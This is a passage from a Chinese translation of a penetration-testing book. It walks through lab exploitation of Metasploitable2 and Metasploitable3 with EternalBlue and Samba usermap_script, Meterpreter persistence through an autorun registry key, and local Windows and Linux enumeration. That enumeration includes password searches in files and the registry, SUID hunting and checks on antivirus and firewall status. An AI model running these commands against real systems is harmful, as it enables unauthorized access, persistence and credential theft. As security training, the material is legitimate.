  8. 如果漏洞利用成功,我们应该在目标系统上获得一个Meterpreter会话,如下面截图所示:图 3.20 – 永恒之蓝漏洞利用成功

    图 3.20 – 永恒之蓝漏洞利用成功

    什么是 Meterpreter?

    Meterpreter 是一个高级有效载荷,利用内存中的动态链接库DLL)注入,提供攻击者一个高级交互式 shell,可以用来探索目标系统、执行系统命令和执行代码。

  9. Meterpreter Shell 使我们能够探索系统并执行命令。然而,我们仍然需要设置持久化,以防我们的连接被中断或系统重启。我们可以通过使用 Metasploit 中的持久化模块来实现这一点。然而,在使用此模块之前,我们需要通过运行以下命令将我们的Meterpreter会话转入后台

    background

    图 3.21 概述了一个活动的 Meterpreter 会话列表及其相关详细信息:

    图 3.21 – 背景 Meterpreter 会话

    图 3.21 – 背景 Meterpreter 会话

  10. 将 Meterpreter 会话转入后台后,我们可以通过运行以下命令加载持久化模块:

    use exploit/windows/local/persistence

  11. 现在我们需要配置模块选项。在这种情况下,我们需要通过运行以下命令来更改SESSION选项:

    set SESSION 1

    此外,我们还需要更改有效载荷选项,特别是LPORT选项,可以通过运行以下命令来完成:

    set LPORT 4443

    图 3.22 概述了持久化模块的各种选项。突出显示的选项是需要更改的值:

    图 3.22 – 持久化模块选项

    图 3.22 – 持久化模块选项

  12. 设置模块选项后,我们可以使用以下命令运行模块:

    run

  13. 如果成功,持久化模块应安装VBS 脚本并将其设置为自启动注册表项,如图 3.23所示:

图 3.23 – 持久化模块成功

图 3.23 – 持久化模块成功

我们已成功利用漏洞并在 Metasploitable3 主机上设置了持久化。接下来,我们将学习如何利用Metasploitable2,也就是我们的 Linux 主机。

利用 Metasploitable2

信息收集与足迹分析部分,我们能够识别出针对Samba smbd 3.0.20 服务的漏洞利用。让我们看看如何使用这个漏洞来获取访问权限:

  1. 第一步是启动 msfconsole,并通过运行以下命令搜索 Samba 3.0.20 利用模块:

    搜索 samba 3.0.20

  2. 我们将使用的模块是利用模块,名为 exploit/multi/samba/usermap_script,如下图所示:图 3.24 – Metasploitable2 利用模块

    ](Images/B17389_03_024.jpg)

    图 3.24 – Metasploitable2 利用模块

  3. 要使用此模块,我们将运行以下命令:

    使用 exploit/multi/samba/usermap_script

  4. 在指定模块后,我们需要配置模块选项。我们需要修改的主要选项是 RHOSTS 选项。RHOSTS 选项用于指定目标 IP 地址,如 图 3.25 所示:图 3.25 – Metasploitable2 利用模块选项

    ](Images/B17389_03_025.jpg)

    图 3.25 – Metasploitable2 利用模块选项

  5. 我们可以通过运行以下命令来设置 RHOSTS 选项:

    设置 RHOSTS

  6. 我们还可以设置将要使用的负载以及负载监听器选项,如 图 3.25 所示。我们使用模块指定的默认选项。

  7. 设置 RHOSTS 选项后,我们可以使用以下命令运行辅助模块:

    运行

  8. 如果利用成功,我们应该能够在目标系统上获取一个命令 shell,如以下截图所示:图 3.26 – Metasploitable2 命令 shell

    图 3.26 – Metasploitable2 命令 shell

  9. 我们可以使用命令 shell 会话来运行系统命令并探索系统。然而,为了获得更稳定的访问,我们需要将命令 shell 升级为 meterpreter 会话。我们可以通过将命令 shell 会话移到后台来实现。这可以通过使用键盘组合 Ctrl + Z 完成,如 图 3.27 所示:图 3.27 – Metasploitable2 后台命令 shell

    图 3.27 – Metasploitable2 后台命令 shell

  10. 在命令 shell 会话移到后台后,我们可以通过运行以下命令加载 shell 到 meterpreter 模块:

    使用 post/multi/manage/shell_to_meterpreter

  11. 现在,我们需要配置模块选项。在这里,我们需要更改 SESSION 选项。可以通过运行以下命令来实现:

    设置 SESSION 1

    此外,我们还可以通过运行以下命令来更改负载选项 LPORT

    设置 LPORT 4443

    图 3.28 概述了 shell_to_meterpreter 模块的可用选项:

    图 3.28 – shell_to_meterpreter 模块选项

    ](Images/B17389_03_028.jpg)

    图 3.28 – shell_to_meterpreter 模块选项

  12. 设置模块选项后,我们可以使用以下命令运行该模块:

    运行

  13. 如果成功,shell_to_meterpreter 模块应当发送一个新阶段并在后台启动一个 meterpreter 会话,如以下截图所示:图 3.29 – shell_to_meterpreter 模块成功运行

    ](Images/B17389_03_029.jpg)

    图 3.29 – shell_to_meterpreter 模块成功

  14. 我们可以通过运行以下命令切换到这个会话:

    sessions 2

  15. 正如在图 3.30中所示,我们已成功将命令行 shell 升级为 meterpreter 会话:

图 3.30 – Metasploitable2 meterpreter 会话

图 3.30 – Metasploitable2 meterpreter 会话

我们现在已经成功通过不同的利用向量利用了 Windows 和 Linux 主机,获得了系统的初步立足点。现在,我们准备开始特权提升过程。

总结

在本章中,我们首先了解了 Metasploit 框架的结构。接着,我们研究了如何使用NmapMetasploit对目标进行足迹分析和漏洞分析。最后,我们通过探讨如何利用在足迹分析中收集到的信息,通过操作系统和服务漏洞成功利用 Windows 和 Linux 主机,结束了本章的内容。

现在,我们已经学会了如何在系统上建立初步的立足点,接下来我们可以学习如何执行本地系统枚举。

在下一章中,我们将发现可以用来枚举目标系统信息的各种工具和技术,并探讨如何利用这些信息发起特权提升攻击。

第四章:进行本地枚举

现在我们已在目标系统上获得初步控制,接下来我们需要从目标系统中枚举出更多关键信息,这对权限提升过程至关重要。这些信息将用于构建、规划和协调我们的权限提升攻击,确保成功。

因此,学习如何正确且全面地从目标系统中枚举信息,以成功提升权限,是至关重要的。

在本章中,您将了解枚举过程、它为何重要以及 Windows 和 Linux 的各种本地枚举技术。接下来,您将学习如何使用自动化枚举工具来自动化这一过程。

在本章中,我们将覆盖以下主要主题:

  • 理解枚举过程

  • Windows 枚举

  • Linux 枚举

技术要求

为了跟随本章的演示,您需要确保满足以下技术要求:

  • 熟悉 Linux 终端命令

  • 熟悉 Windows 命令行

请查看以下链接,观看《代码实战》视频:

bit.ly/39JFTjW

理解枚举过程

尽管你在第三章中获得了初步的系统控制,[获得访问权限(利用)],但你对系统运行的操作系统、运行的服务、你在系统中的权限以及目标系统连接的网络几乎一无所知。这使得你处于盲目状态,无法发起权限提升攻击。这就是枚举的重要性所在。

枚举是从目标系统中提取关键信息的过程,例如操作系统版本、用户名、网络信息和已安装的程序。这些信息可以用来识别潜在的缺陷、配置错误或可以被利用的漏洞。

枚举过程可以通过计划一次抢劫的例子来类比,其中对目标的侦察和信息收集至关重要。如果没有获取足够的目标信息,这次抢劫将会因为错误而失败,几乎肯定会以失败告终。然而,如果能够认真且全面地收集目标信息,这次抢劫将会高效,因为所有相关信息都已经被收集并分析,以识别潜在的错误和问题。因此,在目标系统上执行全面的枚举工作至关重要。

本地枚举是指在初始利用后,积极从目标系统中收集信息。然后,这些信息将被用于识别通过漏洞或配置问题实现权限提升的潜在路径。

本地枚举过程是多方面的,因此可以根据所收集信息的类型进行分类:

  • 系统枚举

  • 用户和组枚举

  • 网络枚举

  • 密码枚举

  • 防火墙和杀毒软件枚举

这种分类将有助于我们组织和结构化所收集的信息。本地枚举可以通过使用框架和脚本手动和自动执行;然而,始终推荐执行手动枚举,因为它能确保过程全面且细致地进行。

在接下来的章节中,我们将探索在 Windows 和 Linux 上手动和自动执行本地枚举的各种技术和工具。

在本章中,我们将使用在上一章中利用的以下目标虚拟机:

  • Metasploitable3

  • Windows 10

  • Metasploitable2

  • Ubuntu 20.04

使用多个操作系统版本的目的是展示并强调可以根据操作系统的版本和配置收集的各种信息。本章演示的技术适用于大多数 Windows 版本和 Linux 发行版,只有少数例外,所有这些都会被特别指出。

现在我们已经了解了枚举是什么,以及它在特权提升过程中的重要性,我们可以看看如何从 Windows 系统中枚举信息。

Windows 枚举

我们将从 Windows 上手动开始枚举过程,并按照之前列出的类别进行方法。要开始本地枚举过程,您需要确保以 shell 的形式直接访问目标系统。如果您已经按照本书中展示的示例操作,您应该已经在目标系统上建立了一个meterpreter会话。

系统枚举

系统枚举是枚举核心系统信息的过程,如操作系统的版本和服务包、操作系统的架构、正在运行的系统服务,以及已安装的补丁和热修复。

我们可以通过以下步骤开始系统枚举过程:

  1. 我们将要运行的大部分命令都是 Windows 命令提示符的本地命令,因此需要在本地 shell 会话中运行。如果您已经有了这样的会话,可以跳过此步骤。或者,如果您正在运行 meterpreter 会话,您需要按照以下截图中的步骤运行以下命令,以获取命令提示符会话:

    shell

    如下图所示,您应通过命令提示符在目标系统上获得一个活动的 shell,并且应该能够运行 Windows 特定的命令:

    图 4.1 – Meterpreter 命令提示符

    图 4.1 – Meterpreter 命令提示符

  2. 第一步是枚举操作系统信息。这可以通过运行systeminfo命令并将输出通过管道传递给findstr工具来限制输出为必要的信息。可以通过运行以下命令来完成:

    systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

    如下截图所示,命令将输出操作系统的名称、版本和架构。这些信息可以与自动化漏洞评估工具结合使用,以确定固有的权限提升漏洞。它对于筛选特定操作系统架构的利用也非常有用。操作系统版本还对于寻找特定版本操作系统的基于内核的漏洞非常有用。

    这为我们提供了足够的操作系统信息,以便缩小寻找漏洞的方法:

    图 4.2 – systeminfo 命令输出

    图 4.2 – systeminfo 命令输出

  3. 我们还可以使用systeminfo命令来确定已安装的 Windows 热修复或补丁。这可以通过运行以下命令来完成:

    systeminfo

    前述命令的输出如下:

    图 4.3 – 安装的热修复

    图 4.3 – 安装的热修复

    如前面的截图所示,输出列出了已安装的热修复的总数及其相关的 HotFix ID。这些信息有助于我们微调寻找操作系统中可能已经修复的漏洞的方法。

    注意

    systeminfo命令的默认输出是详细的,提供了操作系统的完整概述。

  4. 您还可以通过运行以下命令来确定系统上已安装的热修复和补丁:

    wmic qfe

    前述命令的输出如下截图所示:

    图 4.4 – 安装的更新

    图 4.4 – 安装的更新

    如前面的截图所示,命令输出了已安装的更新或补丁,并提供了额外的信息,例如补丁安装的日期和安装的用户。

    HotFixID可用于确定特定热修复的潜在漏洞和利用。

    我们还可以在 Windows 10 系统上运行命令,以确定已安装的补丁以及安装的时间,如下图所示:

    图 4.5 – Windows 10 安装的更新

    图 4.5 – Windows 10 安装的更新

  5. 下一条必须枚举的信息是操作系统的主机名。可以通过运行以下命令来完成:

    hostname

    前述命令的输出如下:

    图 4.6 – 主机名

    图 4.6 – 主机名

    主机名用于在网络中标识系统,并可能揭示系统的角色或系统所属的人。

  6. 另一个需要枚举的重要信息是系统上附加的驱动器。我们可以通过运行以下命令来完成:

    wmic logicaldisk get caption

    前述命令的输出如下:

    图 4.7 – 逻辑磁盘

    ](Images/B17389_04_007.jpg)

    图 4.7 – 逻辑磁盘

    如前述截图所示,该命令将输出附加的驱动器列表及其标识符。在此案例中,唯一附加的磁盘是标记为C:的系统驱动器。

  7. 枚举当前正在运行的进程信息也很重要。可以通过运行以下命令来完成:

    tasklist /SVC

    前述命令的输出如下:

图 4.8 – 正在运行的进程

图 4.8 – 正在运行的进程

如前述截图所示,该命令将输出正在运行的进程列表及其关联的服务。它还会显示进程 ID,这对于识别特定进程非常有用。

现在,我们已经了解目标系统正在运行的内容,可以开始识别目标系统中的用户。

用户和组枚举

用户枚举是识别我们当前正在使用的用户及目标系统中存在的用户帐户的过程。此信息非常有用,因为它告诉我们是否拥有管理员权限。它还帮助我们确定并识别可以利用的潜在用户帐户,以提升我们的权限。

在 Windows 上,用户枚举过程非常简单,可以通过以下步骤进行:

  1. 首先,我们需要确定当前正在使用的用户。可以通过运行以下命令来实现:

    whoami

    如果你有管理员权限,你的用户名应该是nt authority,如下图所示:

    图 4.9 - whoami

    ](Images/B17389_04_009.jpg)

    图 4.9 - whoami

  2. 我们还可以通过运行以下命令来确定我们的权限:

    whoami /priv

    前述命令的输出如下:

    图 4.10 – whoami 权限

    ](Images/B17389_04_010.jpg)

    图 4.10 – whoami 权限

    如前述截图所示,这将输出已分配给我们帐户的权限,并简要描述每个权限及其当前状态。我们在第一章《权限提升简介》中简要讨论了权限,在那里我们解释了访问令牌。权限的重要性将在本书后续章节中突出,当我们探讨令牌冒充攻击时。

  3. 要确定我们的帐户所属的组,可以运行以下命令:

    whoami /groups

    前述命令的输出如下:

    图 4.11 – whoami 组

    ](Images/B17389_04_011.jpg)

    图 4.11 – whoami groups

  4. 我们还可以通过运行以下命令枚举系统上活动的用户账户:

    net user

    前述命令的输出如下:

    图 4.12 – net user

    图 4.12 – net user

    如前面的截图所示,该命令将输出系统上所有用户的列表。这提供了关于我们可以以横向方式升级权限的帐户的有用信息。我们还可以通过运行以下命令获取特定用户的附加信息:

    net user <username>

    这也有助于我们识别属于管理组并具有管理员特权的帐户,如下图所示:

    图 4.13 – 用户枚举

    图 4.13 – 用户枚举

  5. 我们还可以通过运行以下命令确定属于管理组的用户:

    net localgroup administrators

    前述命令的输出如下:

图 4.14 – Net localgroup

图 4.14 – Net localgroup

如前面的截图所示,该命令将概述属于管理组的用户。这使我们清楚地了解了我们可以针对以获取管理权限的帐户。

网络枚举

网络枚举是获取目标系统所有相关网络信息的过程,旨在确定其 IP 地址、DNS 服务器、默认网关及域控制器(如果有)。这些信息可用于绘制目标网络地图并进行逐级攻击。让我们来看看:

  1. 第一步涉及枚举目标网络接口及其详细信息。可以通过运行以下命令完成:

    ipconfig /all

    前述命令的输出如下:

    图 4.15 – ipconfig

    图 4.15 – ipconfig

    如前面的截图所示,这将显示关于特定网络接口的所有相关网络信息:其 IP 地址、DNS 服务器和默认网关。

  2. 下一步是分析路由表。可以通过运行以下命令完成:

    route print

    前述命令的输出如下:

    图 4.16 – 路由表

    图 4.16 – 路由表

  3. 我们还需确定正在运行的服务及其相应的端口。可以通过以下参数运行 netstat 命令完成:

    netstat -ano

    前述命令的输出如下:

图 4.17 – Netstat 活动连接

图 4.17 – Netstat 活动连接

如前面的截图所示,该命令将显示所有活动连接及其相应的端口和进程 ID(PIDs)。

此命令还可用于识别来自其他主机的活动连接,如下图所示:

图 4.18 – Netstat 已建立连接

图 4.18 – Netstat 已建立连接

这些信息很重要,因为它们可能还会揭示一些以前在初始足迹阶段未被发现的内部服务,这些服务实际上是在本地运行的。

现在我们已经枚举了目标的网络信息,接下来我们将学习如何查找和枚举密码。

密码枚举

密码枚举是查找和定位本地存储密码的过程,形式包括明文存储的用户密码、包含密码的配置文件、存储在 Windows 注册表中的密码以及存储在安全帐户管理器SAM)数据库中的 Windows 哈希值。

当我们研究自动化工具时,将更详细地探讨密码枚举,因为从注册表和 SAM 数据库手动枚举密码的过程可能会非常耗时。

在本节中,我们将使用手动技术,如字符串匹配。让我们开始吧:

  1. 我们可以利用findstr实用程序来定位文件中的特定字符串。例如,我们可以运行以下命令,在常用的文件扩展名文件中查找password字符串:

    findstr /si password *.doc *.txt *.ini *.config

    这对于查找用户或管理员存储的明文密码很有用,这些密码可能包含其他帐户或服务的密码。

  2. 我们还可以搜索与服务相关的特定字符串,如安全外壳SSH)和文件传输协议FTP)。这可以通过运行以下命令完成:

    dir /s *pass* == *cred* == *ssh* == *.config*

  3. 我们可以通过运行以下查询,在注册表中搜索特定程序和软件的密码:

    reg query HKLM /f password /t REG_SZ /s

    这将显示包含password字符串的所有条目,位于HKEY_LOCAL_MACHINE注册表中,如下图所示。你也可以对HKEY_CURRENT_USER注册表运行相同的查询。这可以通过运行以下命令完成:

    reg query HKCU /f password /t REG_SZ /s

    上述命令的输出如下:

图 4.19 – Windows 注册表中的密码枚举

图 4.19 – Windows 注册表中的密码枚举

我们还可以在配置文件和特定程序(如 PuTTY 或 VNC)的会话信息中搜索密码。可以通过运行以下命令并指定程序的默认注册表目录来完成此操作:

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions<User>"

在这种情况下,查询将显示为查询中指定用户的 PuTTY 会话详细信息。

注意

用户 Simon Tatham 在 HKCU\Software\SimonTatham\PuTTY\Sessions\<User> 注册表目录中引用了 PuTTY 程序的开发者。

现在我们已经了解如何使用手动查询技术从 Windows 中枚举密码,我们需要识别并列出当前在系统上启用的安全功能。

防火墙和杀毒软件枚举

为了成功提升我们的权限并保持系统上的持久性,我们需要了解可能妨碍该过程的安全措施和系统。Windows 系统中最常见的两种安全防范措施是 Windows 防火墙和 Windows Defender,尽管其他第三方杀毒软件也可能提供帮助。

在渗透测试中,能够检测和规避防火墙和杀毒软件解决方案是非常重要的。因为权限提升过程涉及主动与目标交互,并在目标系统之间传输文件。防火墙和杀毒软件可能会妨碍该过程,并可能向安全团队或管理员发出潜在违规的警报。因此,枚举有关防火墙状态和规则以及现有的杀毒软件解决方案的信息是非常重要的。让我们来看一下:

  1. 首先,在复制任何文件之前,您需要确定 Windows Defender 的状态。这可以通过使用服务控制命令来完成:

    sc query windefend

    由于 Metasploitable3 虚拟机的设计故意存在漏洞,因此 Windows Defender 没有启用,因此我们必须使系统处于易受攻击和未受保护的状态,如下图所示:

    图 4.20 – 禁用 Windows Defender

    ](Images/B17389_04_020.jpg)

    图 4.20 – 禁用 Windows Defender

    如果 Windows Defender 已启用并处于活动状态,您应得到类似以下的输出:

    图 4.21 – 启用并运行 Windows Defender

    图 4.21 – 启用并运行 Windows Defender

  2. 要识别第三方杀毒软件解决方案,您可以列出系统上正在运行的服务。这可以通过运行以下命令来完成:

    sc queryex type=service

    如果有第三方杀毒软件正在运行,您应该通过分析服务名称来识别它,如下图所示。在这里,我已经能够检测到一个与 Windows Defender 一同运行的第二个第三方杀毒程序:

    图 4.22 – 第三方 A/V

    图 4.22 – 第三方 A/V

  3. 我们还需要枚举有关防火墙状态和配置的信息。这将帮助我们检测开放的端口,并可以利用这些端口进行进一步攻击。可以通过运行以下命令来完成:

    netsh firewall show state

    上述命令的输出如下:

图 4.23 – 防火墙状态

](Images/B17389_04_023.jpg)

图 4.23 – 防火墙状态

如前面的截图所示,命令将输出防火墙的操作模式、配置文件和开放端口。这使我们清楚地了解从网络角度来看我们能做什么和不能做什么。

我们现在应该清楚地了解目标系统正在运行的内容以及其配置情况。现在,让我们学习如何使用各种自动化工具来简化枚举过程。

自动化枚举工具

自动化枚举提供了一种更具针对性和高效的方法,用于从目标系统收集信息,并由此进行分析。使用自动化枚举工具的主要目标是能够理解和上下文化收集到的信息,并基于这些信息提供建议。

有许多用于 Windows 的自动化枚举工具。然而,我们只会关注那些高概率有效且不需要额外依赖或访问特定工具的工具。

本地漏洞建议工具

本地漏洞建议工具是 Metasploit 的一个后期利用模块,用于根据操作系统信息扫描目标是否存在潜在的漏洞。它自动化了系统信息的枚举过程,并根据操作系统的版本和已安装的补丁提供漏洞建议。让我们来看看:

  1. 要使用该模块,您需要在目标系统上获得meterpreter访问权限,然后将meterpreter会话移到后台并加载local_exploit_suggester模块。这可以通过运行以下命令来完成:

    use post/multi/recon/local_exploit_suggester

  2. 现在,您需要配置模块选项。我们需要设置的唯一选项是会话号,如下图所示。这可以通过运行以下命令来完成:

    set SESSION <会话编号>

    上述命令的输出如下:

    图 4.24 – 本地漏洞建议工具

    图 4.24 – 本地漏洞建议工具

  3. 配置完选项后,您可以运行该模块。此时,模块将开始枚举过程,并在几分钟后输出结果,如下图所示:

图 4.25 – 本地漏洞建议工具结果

图 4.25 – 本地漏洞建议工具结果

模块的输出将显示各种漏洞模块,其中大多数是可以用于攻击目标的内核漏洞。我们将在下一节探讨这一点。

Windows 漏洞建议工具

Windows 漏洞建议工具是一个用 Python 开发的开源工具,它允许您扫描 Windows 操作系统中的潜在漏洞。它还提供相应的漏洞或漏洞模块。

它通过将 Windows 补丁级别与 Microsoft 漏洞数据库进行比较,来检测系统中的漏洞。它的工作原理是通过识别系统中缺失的补丁来实现这一点。

它不需要在目标系统上本地运行,只需要目标系统上 systeminfo 命令的输出。我们开始吧:

  1. 第一步是克隆 github.com/AonCyberLabs/Windows-Exploit-Suggester 上的仓库到我们的 Kali 虚拟机。这可以通过运行以下命令来完成:

    git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git

    该工具需要 Python2 才能工作,因为它使用了多个 Python2 模块。

    注意

    Python2 从 2020 年 1 月 1 日开始已被废弃。这意味着您可能会遇到旧版工具和框架的依赖问题。

  2. 克隆仓库后,您需要安装所需的依赖项。可以通过运行以下命令来完成:

    sudo apt-get install python-xlrd

    pip install xlrd --upgrade

  3. 安装完依赖项后,您需要通过运行脚本并使用以下标志来更新数据库:

    ./windows-exploit-suggester.py –update

    输出如以下截图所示:

    图 4.26 – Windows Exploit Suggester 更新

    图 4.26 – Windows Exploit Suggester 更新

    请注意数据库的文件名,如下图所示,它将在扫描阶段中使用:

    图 4.27 – Windows Exploit Suggester 数据库文件

    图 4.27 – Windows Exploit Suggester 数据库文件

  4. 下一步是通过运行 systeminfo 命令来枚举目标系统信息,之后需要将该命令的输出复制并粘贴到 .txt 文件中。

  5. 在保存 systeminfo 命令的输出到 .txt 文件后,您可以运行脚本来检查漏洞,如下所示:

    ./windows-exploit-suggester.py --database <database-file>.xlsx --systeminfo <systeminfo-output>.txt

    此命令的输出如下:

图 4.28 – Windows Exploit Suggester 输出

图 4.28 – Windows Exploit Suggester 输出

如前面的截图所示,脚本将执行扫描,并输出所有潜在漏洞及相关信息的列表,例如 POC 参考和可在 exploit-db 或 GitHub 上找到的利用代码或模块。

这些信息将在下一章中派上用场,当我们探索 Windows 上的内核利用时。

其他枚举工具

如我们在本节前面所提到的,许多自动化枚举工具已经存在,并且可以提供额外的功能和信息,大多数我们将在本书后面探讨。

以下是一些适用于 Windows 的有用枚举工具和框架列表:

现在我们知道如何在 Windows 上执行本地枚举,我们将学习如何在 Linux 上执行本地枚举。

Linux 枚举

在 Linux 上进行本地枚举与在 Windows 上类似,涉及使用手动技术和工具来枚举重要信息。在本节中,我们将探索一些帮助简化和流线化枚举过程的自动化工具。

注意

包管理器根据不同的 Linux 发行版会有所不同。接下来的章节将指出并强调这一点。

系统枚举

系统枚举是枚举核心系统信息的过程,例如操作系统版本、内核版本、操作系统架构和正在运行的服务。

我们可以通过以下步骤执行系统枚举:

  1. 我们需要枚举的第一项信息是操作系统的信息。可以通过运行以下命令来完成:

    cat /etc/*-release

    你还可以使用 Linux Standard Base** (LSB**) 信息。可以通过运行以下命令来完成:

    lsb_release -a

    如果这些命令无效,你可以使用 hostname systemd 实用程序,运行以下命令:

    hostnamectl

  2. 你还需要知道内核版本和操作系统架构。这将有助于确定漏洞并寻找内核漏洞。可以通过运行以下命令来完成:

    uname -a

    前述命令的输出如下:

    图 4.29 – Linux 内核版本

    图 4.29 – Linux 内核版本

    如前面的截图所示,命令将输出内核版本和系统架构。

  3. 你还需要识别作为 root 用户运行的进程。这很有用,因为你可以利用这些进程作为 root 用户执行任意命令。可以通过运行以下命令来完成:

    ps aux | grep root

    如下截图所示,这将列出所有作为 root 用户运行的进程:

    图 4.30 – Linux 服务运行情况

    图 4.30 – Linux 服务运行情况

  4. Linux 上的另一个潜在特权提升访问向量是已安装的程序和软件。我们可以通过列出以下目录的内容来确定系统上已安装的软件:

    a) /usr/local

    b) /usr/local/bin

    c) /opt/

    d) /var

    e) /usr/src

    你可以通过运行以下命令列出 Debian 系统上已安装的包:

    dpkg -l

    如果目标系统运行的是 RHEL 或 Fedora,可以通过运行以下命令列出已安装的软件:

    rpm -qa

    现在我们已经枚举了操作系统版本和内核版本的信息,接下来我们将学习如何在 Linux 上枚举用户和组信息。

  5. 我们还可以枚举 cron 中的信息,确定哪些 cron 作业正在运行,以及是否可以利用这些作业来执行命令或二进制文件。可以通过运行以下命令来完成:

    crontab -l

    ls -al /var/spool/cron

    ls -al /etc/ | grep cron

    ls -al /etc/cron*

    cat /etc/cron*

    cat /etc/at.allow

    cat /etc/at.deny

    cat /etc/cron.allow

    cat /etc/cron.deny

    cat /etc/crontab

    cat /etc/anacrontab

    cat /var/spool/cron/crontabs/root

现在我们已经清楚了解目标系统上正在运行的内容,可以开始枚举用户和组信息了。

用户和组枚举

用户枚举是确定我们当前使用的用户以及目标系统上所有用户账户的过程。这些信息很有用,因为它告诉我们是否拥有管理员权限。它还帮助我们确定和识别潜在的用户账户,以便提升我们的权限。

在 Linux 上,用户枚举过程相当直接,可以按照以下步骤进行:

  1. 首先,我们需要确定当前正在使用的用户。可以通过运行以下命令来完成:

    whoami

    上述命令的输出如下:

    图 4.31 – whoami Linux

    图 4.31 – whoami Linux

    如果你有管理员权限,你的用户名应该是root,如前面的截图所示。

    你还可以通过运行以下命令枚举系统中的其他用户账户:

    cat /etc/passwd

  2. 为了确定我们账户所属的组,可以运行以下命令:

    groups <username>

    上述命令的输出如下:

    图 4.32 – Linux 组

    ](Images/B17389_04_032.jpg)

    图 4.32 – Linux 组

    你还可以通过运行以下命令列出系统中的组:

    cat /etc/group

  3. 你可以搜索可以被利用的 SUID 二进制文件,并用 root 权限运行这些文件来执行任意命令。可以通过运行以下命令来完成:

    find / -perm -u=s -type f 2>/dev/null

现在,让我们学习如何从目标系统枚举网络信息。

网络枚举

网络枚举是从目标系统中获取所有相关网络信息的过程,目的是确定其 IP 地址、DNS 服务器、默认网关以及域控制器(如果有的话)。这些信息可以用来绘制目标网络图并进行跨网络攻击。我们来看一下:

  1. 第一部是枚举目标网络接口及其详细信息。可以通过运行以下命令来完成:

    ifconfig

    上述命令的输出如下:

    图 4.33 – ifconfig

    图 4.33 – ifconfig

  2. 下一步是分析路由表。可以通过运行以下命令来完成:

    route

    上述命令的输出如下:

    图 4.34 – Linux 路由表

    ](Images/B17389_04_034.jpg)

    图 4.34 – Linux 路由表

  3. 我们还需要确定运行的服务及其各自的端口。可以通过运行带有以下参数的netstat命令来完成:

    netstat -ant

    上述命令的输出如下:

图 4.35 – Netstat 活动连接

图 4.35 – Netstat 活动连接

如上图所示,命令将显示所有活动连接及其相应端口。

这些信息很重要,因为它们可能揭示出以前在初步足迹收集阶段未被发现的、在本地运行的内部服务。

我们现在应该清楚了解目标系统正在运行什么,以及它是如何配置的。现在,让我们学习如何使用各种自动化工具来简化枚举过程。

自动化枚举工具

目前有很多用于 Linux 的自动化枚举工具。本节将重点介绍那些能为我们提供有意义且可操作信息的工具。

LinEnum

LinEnum 是一个 bash 脚本,自动化了 Linux 上的本地枚举过程,提供全面的信息,帮助指定所需的信息,并能够生成报告。

您可以在github.com/rebootuser/LinEnum了解更多关于该脚本的信息。我们开始吧:

  1. 要使用该工具,我们需要从 GitHub 下载 bash 脚本并将其传输到目标系统。如果目标系统可以访问互联网,我们可以直接通过运行以下命令下载脚本:

    wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

  2. 如果目标系统阻止任何传入连接,我们可以通过meterpreter从本地系统上传脚本到目标,如下图所示:图 4.36 – LinEnum 下载

    图 4.36 – LinEnum 下载

  3. 然后,我们可以使用以下参数执行脚本:

    ./LinEnum.sh -t -r <report-name>

    这将枚举所有相关信息,并显示可能被利用的有用漏洞,如下图所示:

    图 4.37 – LinEnum 结果

    图 4.37 – LinEnum 结果

  4. 我们还可以使用关键词功能来枚举系统上的密码。可以通过运行以下命令来实现:

    ./LinEnum.sh -k password

现在,让我们学习如何枚举目标系统上的潜在漏洞。

Linux Exploit Suggester

Linux Exploit Suggester 是一个开源 Shell 脚本,允许您扫描 Linux 系统中的潜在内核漏洞,并提供相应的漏洞利用或漏洞利用模块。让我们开始吧:

  1. 脚本需要在目标系统上本地运行。首先,我们需要将脚本下载到目标系统。这可以通过wget命令完成,如下所示:

    wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

  2. 在将脚本下载到目标系统后,您需要确保该脚本具有可执行权限。可以通过运行以下命令来完成此操作:

    chmod +x les.sh

  3. 现在,您可以运行脚本以开始扫描过程,之后脚本将输出潜在漏洞的列表以及相应的 POC 和漏洞利用方法。

现在您已经掌握了如何使用各种枚举工具,让我们来探讨一些其他的自动化枚举工具,它们也可以被使用。

其他枚举工具

正如我们在本节前面提到的,存在许多自动化枚举工具,可以提供额外的功能和信息,其中大多数我们将在本书后面进行探讨。

以下是一些适用于 Linux 的有用枚举工具和框架:

通过这些内容,我们已经学会了如何从 Windows 和 Linux 系统中枚举信息。现在,我们已经准备好利用这些信息来进行权限提升攻击。

总结

本章中,我们首先了解了枚举过程。然后,我们学习了如何在 Windows 上手动和自动执行本地枚举。最后,我们学习了如何在 Linux 上执行本地枚举。

现在我们已经学会了如何在 Windows 和 Linux 上执行本地枚举,可以开始权限提升过程了。

在下一章中,我们将通过使用内核漏洞开始 Windows 上的权限提升过程。

第二部分:Windows 特权提升

本节将涵盖 Windows 系统的特权提升过程。通过多种特权提升攻击向量、技术和工具,您将能够在目标系统上提升权限。

本节包括以下章节:

  • 第五章, Windows 内核漏洞利用

  • 第六章, 模拟攻击

  • 第七章, Windows 密码挖掘

  • 第八章, 服务利用

  • 第九章, 通过 Windows 注册表进行特权提升

第五章:Windows 内核漏洞

现在,我们已经学会了如何枚举目标系统中的重要信息,并识别潜在的权限提升攻击途径,我们可以开始在 Windows 上进行权限提升。我们将探索的第一个权限提升攻击途径是内核漏洞利用

在本章中,你将学习如何手动和自动地识别、转移和利用 Windows 系统上的内核漏洞。

你将学习内核是如何工作的,以及如何利用内核漏洞提升在目标系统上的权限。这是权限提升过程中的一个关键部分,因为内核漏洞为在目标系统上提升权限提供了一条直接的途径。

在本章中,我们将覆盖以下主要主题:

  • 理解内核漏洞

  • 使用 Metasploit 进行内核漏洞利用

  • 手动内核漏洞利用

技术要求

要跟随本章的演示,你需要确保你熟悉 Windows CMD 命令。

你可以在这里查看本章的代码演示:bit.ly/3m7qa47

理解内核漏洞

在我们开始利用 Windows 上的各种内核漏洞之前,理解内核是什么,它是如何设置和配置的,至关重要。

这将帮助你更清楚地了解内核是如何以及为何被利用,以及它们如何被用来提升 Windows 系统上的权限。

让我们从理解内核是什么以及它在操作系统中所执行的功能开始。

什么是内核?

内核是一个计算机程序,是操作系统的核心,拥有对系统中每一个资源和硬件的完全控制。它充当硬件和软件之间的翻译层,并促进这两者之间的通信。

内核在系统内存中运行,并在系统启动过程中,紧接着引导程序后加载,负责处理操作系统的其余启动过程。

内核负责执行以下主要功能:

